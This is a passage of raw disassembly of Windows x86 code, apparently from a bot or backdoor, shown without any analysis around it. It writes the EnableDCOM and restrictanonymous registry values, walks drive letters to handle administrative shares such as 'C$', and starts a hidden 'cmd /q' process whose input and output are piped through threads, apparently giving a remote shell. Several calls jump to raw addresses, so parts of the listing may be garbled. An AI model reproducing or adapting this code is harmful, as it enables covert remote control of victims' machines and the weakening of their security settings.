; ---------------------------------------------------------------------------

loc_416095:				; CODE XREF: sub_415F88+104j
		push	offset unk_433594

loc_41609A:				; CODE XREF: sub_415F88+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AD74
		jmp	short loc_4160CD
; ---------------------------------------------------------------------------

loc_4160B3:				; CODE XREF: sub_415F88+E2j
		push	offset unk_433548
		jmp	short loc_4160BF
; ---------------------------------------------------------------------------

loc_4160BA:				; CODE XREF: sub_415F88+13j
		push	offset unk_433508

loc_4160BF:				; CODE XREF: sub_415F88+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4160CD:				; CODE XREF: sub_415F88+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4160EC
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_4160EC:				; CODE XREF: sub_415F88+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		cmp	dword_43AE90, edi
		pop	ecx
		jnz	loc_416267
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_41610F:				; CODE XREF: sub_415F88+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_43ACE4
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_4161AC
		cmp	eax, 0EAh
		jz	short loc_4161AC
		mov	esi, offset off_433370

loc_416140:				; CODE XREF: sub_415F88+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_40DCC3
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_416157
		push	offset unk_4334D4
		jmp	short loc_41615C
; ---------------------------------------------------------------------------

loc_416157:				; CODE XREF: sub_415F88+1C6j
		push	offset unk_433498

loc_41615C:				; CODE XREF: sub_415F88+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41618F
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_41618F:				; CODE XREF: sub_415F88+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_433390
		jb	short loc_416140
		jmp	loc_416244
; ---------------------------------------------------------------------------

loc_4161AC:				; CODE XREF: sub_415F88+1AAj
					; sub_415F88+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41623B

loc_4161BB:				; CODE XREF: sub_415F88+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41999C
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_416230
		push	edi
		call	sub_40DBB0
		push	eax
		push	0
		call	sub_40DCC3
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_4161EA
		push	offset unk_433464
		jmp	short loc_4161EF
; ---------------------------------------------------------------------------

loc_4161EA:				; CODE XREF: sub_415F88+259j
		push	offset unk_433428

loc_4161EF:				; CODE XREF: sub_415F88+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_416223
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416223:				; CODE XREF: sub_415F88+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_416230:				; CODE XREF: sub_415F88+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_4161BB
		xor	edi, edi

loc_41623B:				; CODE XREF: sub_415F88+22Dj
		push	[ebp+var_8]
		call	dword_43AE28

loc_416244:				; CODE XREF: sub_415F88+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41610F
		lea	eax, [ebp+var_214]
		push	offset unk_4333F0
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41627A
; ---------------------------------------------------------------------------

loc_416267:				; CODE XREF: sub_415F88+177j
		lea	eax, [ebp+var_214]
		push	offset unk_4333B0
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_41627A:				; CODE XREF: sub_415F88+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_416298
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416298:				; CODE XREF: sub_415F88+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_415F88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162AC	proc near		; CODE XREF: sub_415F28:loc_415F6Fp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_43AE68, ebx
		push	esi
		jnz	loc_4163DA
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43AE08
		test	eax, eax
		jnz	short loc_416337
		mov	ax, word_4338CC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43ADBC
		test	eax, eax
		jz	short loc_416319
		push	offset unk_433898
		jmp	short loc_41631E
; ---------------------------------------------------------------------------

loc_416319:				; CODE XREF: sub_4162AC+64j
		push	offset dword_43386C

loc_41631E:				; CODE XREF: sub_4162AC+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AD74
		jmp	short loc_41634A
; ---------------------------------------------------------------------------

loc_416337:				; CODE XREF: sub_4162AC+36j
		lea	eax, [ebp+var_220]
		push	offset unk_433638
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_41634A:				; CODE XREF: sub_4162AC+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416369
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416369:				; CODE XREF: sub_4162AC+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43AE08
		test	eax, eax
		jnz	short loc_4163D3
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_43ADBC
		test	eax, eax
		jz	short loc_4163B5
		push	offset unk_433820
		jmp	short loc_4163BA
; ---------------------------------------------------------------------------

loc_4163B5:				; CODE XREF: sub_4162AC+100j
		push	offset unk_4337DC

loc_4163BA:				; CODE XREF: sub_4162AC+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AD74
		jmp	short loc_4163ED
; ---------------------------------------------------------------------------

loc_4163D3:				; CODE XREF: sub_4162AC+E2j
		push	offset unk_433790
		jmp	short loc_4163DF
; ---------------------------------------------------------------------------

loc_4163DA:				; CODE XREF: sub_4162AC+13j
		push	offset unk_433508

loc_4163DF:				; CODE XREF: sub_4162AC+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4163ED:				; CODE XREF: sub_4162AC+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41640C
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_41640C:				; CODE XREF: sub_4162AC+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		cmp	dword_43AE90, ebx
		pop	ecx
		jnz	loc_416581
		push	edi
		mov	esi, offset off_433370
		mov	edi, 200h

loc_416430:				; CODE XREF: sub_4162AC+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_40DC17
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41644B
		push	offset unk_433760
		jmp	short loc_416450
; ---------------------------------------------------------------------------

loc_41644B:				; CODE XREF: sub_4162AC+196j
		push	offset unk_433728

loc_416450:				; CODE XREF: sub_4162AC+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41647F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_41647F:				; CODE XREF: sub_4162AC+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_433380
		jb	short loc_416430
		nop
		call	near ptr 28005E4h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_416569

loc_4164AA:				; CODE XREF: sub_4162AC+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41655E
		cmp	bl, 41h
		jz	loc_41655E
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_43ADF8
		cmp	eax, 3
		jnz	short loc_41655E
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_40DC17
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41651C
		push	offset unk_433760
		jmp	short loc_416521
; ---------------------------------------------------------------------------

loc_41651C:				; CODE XREF: sub_4162AC+267j
		push	offset unk_433728

loc_416521:				; CODE XREF: sub_4162AC+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_416551
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416551:				; CODE XREF: sub_4162AC+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_41655E:				; CODE XREF: sub_4162AC+206j
					; sub_4162AC+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_4164AA

loc_416569:				; CODE XREF: sub_4162AC+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_4336E8
		push	eax
		call	sub_4172B0
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_416594
; ---------------------------------------------------------------------------

loc_416581:				; CODE XREF: sub_4162AC+173j
		lea	eax, [ebp+var_220]
		push	offset unk_4333B0
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_416594:				; CODE XREF: sub_4162AC+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4165B2
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_4165B2:				; CODE XREF: sub_4162AC+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_4162AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165C6	proc near		; CODE XREF: ___:0041562Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_416717
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_4407FC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_4240A0
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4168E9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_416631
		call	near ptr 2660AEBh
		nop
		push	eax
		push	offset dword_433914
		call	sub_40BFE1
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41666B
; ---------------------------------------------------------------------------

loc_416631:				; CODE XREF: sub_4165C6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_41699B
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_416672
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset dword_433914
		call	sub_40BFE1
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	near ptr 27F0875h
		nop

loc_41666B:				; CODE XREF: sub_4165C6+69j
		xor	eax, eax
		jmp	loc_416712
; ---------------------------------------------------------------------------

loc_416672:				; CODE XREF: sub_4165C6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 2800840h
		sub	eax, ebx
		jz	short loc_4166CC
		dec	eax
		jz	short loc_4166C6
		dec	eax
		jz	short loc_4166B2
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset dword_4338D0
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_4166E1
; ---------------------------------------------------------------------------

loc_4166B2:				; CODE XREF: sub_4165C6+D5j
		mov	edi, dword_424168
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4166E1
; ---------------------------------------------------------------------------

loc_4166C6:				; CODE XREF: sub_4165C6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4166D0
; ---------------------------------------------------------------------------

loc_4166CC:				; CODE XREF: sub_4165C6+CFj
		push	ebx
		push	dword ptr [esi+14h]

loc_4166D0:				; CODE XREF: sub_4165C6+104j
		nop
		call	near ptr 27F0875h
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 27F0AC7h

loc_4166E1:				; CODE XREF: sub_4165C6+EAj
					; sub_4165C6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_424078
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_43AE30
		push	esi
		call	sub_417C3B
		pop	ecx
		push	1
		pop	eax

loc_416712:				; CODE XREF: sub_4165C6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4165C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416717	proc near		; CODE XREF: sub_4165C6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_416801
		mov	ebx, dword_424140
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_424078
		test	eax, eax
		jnz	short loc_41677A
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset dword_4339F4
		jmp	short loc_41679A
; ---------------------------------------------------------------------------

loc_41677A:				; CODE XREF: sub_416717+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_4167A2
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset dword_4339A4

loc_41679A:				; CODE XREF: sub_416717+61j
		call	sub_40BFE1
		pop	ecx
		jmp	short loc_4167D0
; ---------------------------------------------------------------------------

loc_4167A2:				; CODE XREF: sub_416717+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_416810
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_416805
		push	offset dword_43396C
		call	sub_40BF6D

loc_4167D0:				; CODE XREF: sub_416717+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4167DC
		push	[ebp+var_4]
		call	edi

loc_4167DC:				; CODE XREF: sub_416717+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4167E7
		push	[ebp+var_8]
		call	edi

loc_4167E7:				; CODE XREF: sub_416717+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4167F0
		push	eax
		call	edi

loc_4167F0:				; CODE XREF: sub_416717+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4167FA
		push	eax
		call	edi

loc_4167FA:				; CODE XREF: sub_416717+DEj
		push	esi
		call	sub_417C3B
		pop	ecx

loc_416801:				; CODE XREF: sub_416717+1Dj
		xor	eax, eax
		jmp	short loc_41680B
; ---------------------------------------------------------------------------

loc_416805:				; CODE XREF: sub_416717+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi

loc_41680B:				; CODE XREF: sub_416717+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416810	proc near		; CODE XREF: sub_416717+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417330
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_42413C
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 27A039Dh
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 2770603h
		test	eax, eax
		jz	short loc_4168CC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_4407F8[eax], ecx
		nop
		call	near ptr 2640811h
		jmp	short loc_4168E2
; ---------------------------------------------------------------------------

loc_4168CC:				; CODE XREF: sub_416810+9Aj
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset dword_433A44
		call	sub_40BFE1
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx

loc_4168E2:				; CODE XREF: sub_416810+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416810	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4168E9	proc near		; DATA XREF: sub_4165C6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_424074
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]

loc_416912:				; CODE XREF: sub_4168E9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_41697A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41694D

loc_416923:				; CODE XREF: sub_4168E9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41693D
		cmp	dl, 0Dh
		jz	short loc_41693D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax

loc_41693D:				; CODE XREF: sub_4168E9+44j
					; sub_4168E9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_416923

loc_41694D:				; CODE XREF: sub_4168E9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43ADE8
		test	eax, eax
		jle	short loc_41697A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_416912
; ---------------------------------------------------------------------------

loc_41697A:				; CODE XREF: sub_4168E9+2Dj
					; sub_4168E9+79j
		mov	esi, dword_42408C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_416996
		call	esi
		push	eax
		push	offset dword_433A90
		call	sub_40BFE1
		pop	ecx
		pop	ecx

loc_416996:				; CODE XREF: sub_4168E9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4168E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41699B	proc near		; DATA XREF: sub_4165C6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx

loc_4169B4:				; CODE XREF: sub_41699B+39j
					; sub_41699B+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43ADB0
		test	eax, eax
		jle	loc_416AB9
		cmp	[ebp+var_10], ebx
		jbe	short loc_4169D6
		dec	[ebp+var_10]
		jmp	short loc_4169B4
; ---------------------------------------------------------------------------

loc_4169D6:				; CODE XREF: sub_41699B+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_416A99
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_416A46
		cmp	al, 7Fh
		jz	short loc_416A46
		cmp	al, 3
		jnz	short loc_416A01
		push	ebx
		push	ebx
		call	near ptr 280092Eh
		nop
		jmp	short loc_416A6D
; ---------------------------------------------------------------------------

loc_416A01:				; CODE XREF: sub_41699B+5Aj
		cmp	al, 15h
		jnz	short loc_416A23
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_416A59
; ---------------------------------------------------------------------------

loc_416A23:				; CODE XREF: sub_41699B+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_416A5A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_416A59
; ---------------------------------------------------------------------------

loc_416A46:				; CODE XREF: sub_41699B+52j
					; sub_41699B+56j
		cmp	esi, ebx
		jbe	short loc_416A70
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3

loc_416A59:				; CODE XREF: sub_41699B+86j
					; sub_41699B+A9j
		pop	ecx

loc_416A5A:				; CODE XREF: sub_41699B+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43ADE8
		test	eax, eax
		jle	short loc_416AB9

loc_416A6D:				; CODE XREF: sub_41699B+64j
		mov	al, byte ptr [ebp+arg_0+3]

loc_416A70:				; CODE XREF: sub_41699B+ADj
		cmp	al, 0Dh
		jnz	loc_4169B4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_416AB9
		xor	esi, esi
		jmp	loc_4169B4
; ---------------------------------------------------------------------------

loc_416A99:				; CODE XREF: sub_41699B+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_416AAA
		mov	[ebp+var_C], 1
		jmp	loc_4169B4
; ---------------------------------------------------------------------------

loc_416AAA:				; CODE XREF: sub_41699B+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4169B4
; ---------------------------------------------------------------------------

loc_416AB9:				; CODE XREF: sub_41699B+2Bj
					; sub_41699B+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41699B	endp


; =============== S U B	R O U T	I N E =======================================



sub_416ABE	proc near		; CODE XREF: sub_416ADE+Ap
					; sub_416BB6+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_417AB0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_417AB0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_416ABE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


